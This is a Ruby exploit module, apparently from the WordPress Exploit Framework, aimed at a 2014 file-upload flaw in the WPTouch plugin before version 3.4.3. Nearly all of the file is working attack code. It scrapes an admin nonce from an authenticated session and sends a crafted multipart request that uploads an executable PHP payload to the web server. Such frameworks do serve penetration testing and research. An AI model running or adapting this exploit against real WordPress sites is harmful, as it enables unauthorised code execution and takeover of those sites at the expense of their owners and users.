# frozen_string_literal: true

class Wpxf::Exploit::WptouchAuthenticatedShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'WPTouch Authenticated Shell Upload',
      desc: 'This module exploits a file upload vulnerability in versions '\
            '< 3.4.3 of the WPTouch plugin which allows authenticated users '\
            'of any level (e.g. subscriber) to upload and execute PHP scripts '\
            'in the context of the web server.',
      author: [
        'Marc-Alexandre Montpas', # Vulnerability discovery
        'rastating'               # WPXF module
      ],
      references: [
        ['URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html'],
        ['WPVDB', '7118']
      ],
      date: 'Jul 14 2014'
    )
  end

  def requires_authentication
    true
  end

  def check
    check_plugin_version_from_readme('wptouch', '3.4.3')
  end

  def uploader_url
    wordpress_url_admin_ajax
  end

  def uploaded_payload_location
    upload_result.body
  end

  def payload_body_builder
    nonce = fetch_wptouch_nonce
    return nil unless nonce

    builder = Utility::BodyBuilder.new
    builder.add_file_from_string('myfile', payload.encoded, payload_name)
    builder.add_field('file_type', 'homescreen_image')
    builder.add_field('action', 'upload_file')
    builder.add_field('setting_name', 'wptouch__foundation__logo_image')
    builder.add_field('wp_nonce', nonce)
    builder
  end

  def fetch_wptouch_nonce
    res = execute_get_request(url: wordpress_url_admin, cookie: session_cookie)
    if res && res.body && res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
      emit_success "Acquired an upload nonce: #{Regexp.last_match[1]}", true
      return Regexp.last_match[1]
    else
      emit_error 'Could not acquire an upload nonce'
      return nil
    end
  end
end
